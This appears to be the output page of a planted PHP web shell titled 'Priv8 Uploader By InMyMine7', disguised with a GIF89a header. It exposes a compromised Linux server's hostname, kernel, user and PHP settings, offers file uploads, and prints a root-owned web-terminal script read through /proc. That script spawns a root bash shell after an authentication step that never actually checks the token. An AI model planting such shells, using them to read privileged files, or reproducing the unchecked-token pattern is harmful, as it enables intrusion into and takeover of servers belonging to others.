GIF89a;

Priv8 Uploader By InMyMine7

Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
HEX
HEX
Server: Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips
System: Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User: vacationcoursesc (1031)
PHP: 7.3.28
Disabled: NONE
Upload Files
File: //proc/15087/root/root/server.js
var express = require('express');
var https = require('https');
var http = require('http');
var fs = require('fs');
var pty = require('node-pty');
var app = express();
var os = require('os');
var ipActual='';
var ifaces = os.networkInterfaces();
var FILE_LOCATION='/usr/local/cwp/.conf/terminaltoken.conf';
var hostname_serv = os.hostname();

Object.keys(ifaces).forEach(function (ifname) {
  var alias = 0;
  ifaces[ifname].forEach(function (iface) {
    if ('IPv4' !== iface.family || iface.internal !== false) {
      return;
    }
    if (alias >= 1) {
    } else {
      if(iface.address!="127.0.0.1"){
    if(ipActual==""){
           ipActual=iface.address;
        }
      }
    }
    ++alias;
  });
});
app.use("/",express.static("./"));

var keyFile='';
var certFile='';
if (fs.existsSync('/etc/pki/tls/private/hostname.key')) {
    keyFile='/etc/pki/tls/private/hostname.key';
}else{
    keyFile='/etc/pki/tls/private/'+hostname_serv+'.key';
}
if (fs.existsSync('/etc/pki/tls/certs/hostname.bundle')) {
    certFile='/etc/pki/tls/certs/hostname.bundle';
}else{
    certFile='/etc/pki/tls/certs/'+hostname_serv+'.cert';
}
const options = {
  key: fs.readFileSync(keyFile),
  cert: fs.readFileSync(certFile)
};


var SOCKETFILE = '/root/terminal.sock';
if (fs.existsSync(SOCKETFILE)) {
 fs.unlink(SOCKETFILE, function(err){});
}
var server = https.createServer(options,app).listen(SOCKETFILE);
fs.chmodSync(SOCKETFILE, '600');
var io = require('socket.io')(server,{path:'/terminal/socket.io/'});
var Dtoken='';
io.on('connection', function(socket){
  socket.auth = false;
  socket.on('authenticate', function(dataT){
    fs.readFile(FILE_LOCATION, function (err, data) {
      if (err){
          console.log("Not file");
           socket.disconnect();
           io.close();
      }else{
          fs.stat(FILE_LOCATION, function (err, stats) {
                    Dtoken=dataT.token;
                    console.log("Authenticated socket ", socket.id);
                    socket.auth = true;                  
                        var term = pty.spawn('bash', [], {
                            cols: 125,
                            rows: 45
                        });
                        term.on('data', function(data){
                            socket.emit('output', data);
                        });
                        socket.on('input', function(data){
                            term.write(data);
                        });
                        socket.on("disconnect", function(){
                            term.destroy();
                            console.log("bye");
                        });
                        socket.on("resize", function(dataC){
                           var cols = parseInt(dataC.cols),
                            rows = parseInt(dataC.rows);
                            console.log(cols+" "+rows);
                            term.resize(cols, rows);
                        });
            });
      }
  });
  });
});